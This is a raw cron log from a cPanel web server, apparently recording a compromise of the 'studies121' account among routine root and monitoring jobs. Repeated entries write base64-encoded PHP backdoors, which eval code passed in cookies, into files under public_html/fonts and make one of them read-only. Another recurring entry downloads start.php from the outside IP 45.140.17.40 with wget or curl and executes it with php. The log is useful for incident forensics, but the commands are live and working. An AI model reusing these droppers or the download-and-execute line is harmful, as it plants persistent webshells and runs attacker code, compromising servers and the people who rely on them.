Sep  4 03:18:01 ip-184-168-122-23 CROND[11263]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 03:19:01 ip-184-168-122-23 CROND[11338]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 03:19:01 ip-184-168-122-23 CROND[11341]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 03:19:01 ip-184-168-122-23 CROND[11344]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:19:01 ip-184-168-122-23 CROND[11343]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:20:01 ip-184-168-122-23 CROND[11540]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 03:20:01 ip-184-168-122-23 CROND[11542]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 03:20:01 ip-184-168-122-23 CROND[11544]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 03:20:01 ip-184-168-122-23 CROND[11547]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 03:20:01 ip-184-168-122-23 CROND[11546]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 03:20:01 ip-184-168-122-23 CROND[11553]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:20:01 ip-184-168-122-23 CROND[11555]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 03:20:01 ip-184-168-122-23 CROND[11554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:20:01 ip-184-168-122-23 CROND[11552]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 03:21:01 ip-184-168-122-23 CROND[11648]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 03:21:01 ip-184-168-122-23 CROND[11650]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:21:01 ip-184-168-122-23 CROND[11651]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 03:21:01 ip-184-168-122-23 CROND[11652]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:22:01 ip-184-168-122-23 CROND[11751]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 03:22:01 ip-184-168-122-23 CROND[11753]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:22:01 ip-184-168-122-23 CROND[11754]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 03:22:01 ip-184-168-122-23 CROND[11755]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:22:01 ip-184-168-122-23 CROND[11756]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 03:23:01 ip-184-168-122-23 CROND[11844]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 03:23:01 ip-184-168-122-23 CROND[11845]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:23:01 ip-184-168-122-23 CROND[11846]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 03:23:01 ip-184-168-122-23 CROND[11848]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:24:01 ip-184-168-122-23 CROND[11946]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:24:02 ip-184-168-122-23 CROND[11947]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 03:24:02 ip-184-168-122-23 CROND[11949]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 03:24:02 ip-184-168-122-23 CROND[11951]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 03:24:02 ip-184-168-122-23 CROND[11952]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:25:01 ip-184-168-122-23 CROND[12119]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:25:01 ip-184-168-122-23 CROND[12121]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 03:25:01 ip-184-168-122-23 CROND[12122]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 03:25:01 ip-184-168-122-23 CROND[12123]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:25:01 ip-184-168-122-23 CROND[12126]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 03:25:01 ip-184-168-122-23 CROND[12127]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 03:26:01 ip-184-168-122-23 CROND[12259]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 03:26:01 ip-184-168-122-23 CROND[12261]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 03:26:01 ip-184-168-122-23 CROND[12264]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:26:01 ip-184-168-122-23 CROND[12262]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:26:01 ip-184-168-122-23 CROND[12263]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 03:27:01 ip-184-168-122-23 CROND[12365]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 03:27:01 ip-184-168-122-23 CROND[12366]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/nightly_gzip)
Sep  4 03:27:01 ip-184-168-122-23 CROND[12367]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 03:27:01 ip-184-168-122-23 CROND[12369]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:27:01 ip-184-168-122-23 CROND[12370]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:28:01 ip-184-168-122-23 anacron[6984]: Job `cron.weekly' started
Sep  4 03:28:01 ip-184-168-122-23 anacron[6984]: Job `cron.weekly' terminated
Sep  4 03:28:01 ip-184-168-122-23 anacron[6984]: Normal exit (2 jobs run)
Sep  4 03:28:01 ip-184-168-122-23 CROND[12467]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 03:28:01 ip-184-168-122-23 CROND[12469]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:28:01 ip-184-168-122-23 CROND[12471]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 03:28:01 ip-184-168-122-23 CROND[12472]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 03:28:01 ip-184-168-122-23 CROND[12473]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:29:01 ip-184-168-122-23 CROND[12555]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 03:29:01 ip-184-168-122-23 CROND[12558]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:29:01 ip-184-168-122-23 CROND[12557]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:29:01 ip-184-168-122-23 CROND[12556]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 03:30:01 ip-184-168-122-23 CROND[12637]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 03:30:01 ip-184-168-122-23 CROND[12640]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:30:01 ip-184-168-122-23 CROND[12642]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 03:30:01 ip-184-168-122-23 CROND[12644]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 03:30:01 ip-184-168-122-23 CROND[12645]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
